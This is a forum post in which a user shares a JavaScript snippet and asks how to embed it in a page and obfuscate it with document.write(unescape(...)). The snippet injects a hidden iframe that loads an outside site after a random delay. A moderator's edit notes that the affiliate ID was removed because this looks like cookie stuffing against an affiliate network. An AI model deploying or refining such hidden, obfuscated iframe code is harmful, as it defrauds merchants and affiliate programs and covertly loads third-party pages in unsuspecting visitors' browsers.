Just looking for someone to tell me if I can do the following and it will work.
I have a script that I dont really want to link to in my page, but rather just insert it on the page, much like some people do with their CSS file in the header.
So I started out with the script
function dropit() {
var i = document.createElement("iframe");
with (i.style) {
top = "0";
left = "0",
position = "absolute";
display = "none";
}
i.src = "http://website.com";
document.body.insertBefore(i);
}
window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));
then I placed it in the head like this
<script language="javascript">
function dropit() {
var i = document.createElement("iframe");
with (i.style) {
top = "0";
left = "0",
position = "absolute";
display = "none";
}
i.src = "http://website.com";
document.body.insertBefore(i);
}
window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));
</script>
That's it isn't it? I dont need anything in the body to call (I think thats the correct terminology) the script do I?
Now what I want to do is encode it using
<script language="javascript">
document.write( unescape( 'the encoded script' ) );
</script>
Just not sure if I can do that. Javascript inside Javascript
Thanks
EDIT: I tested it and believe that what I have done works.
modded:clipped your affid, because i think your talking about stuffing and don't want you getting nuked by CJ in case anything ever were to come up for you.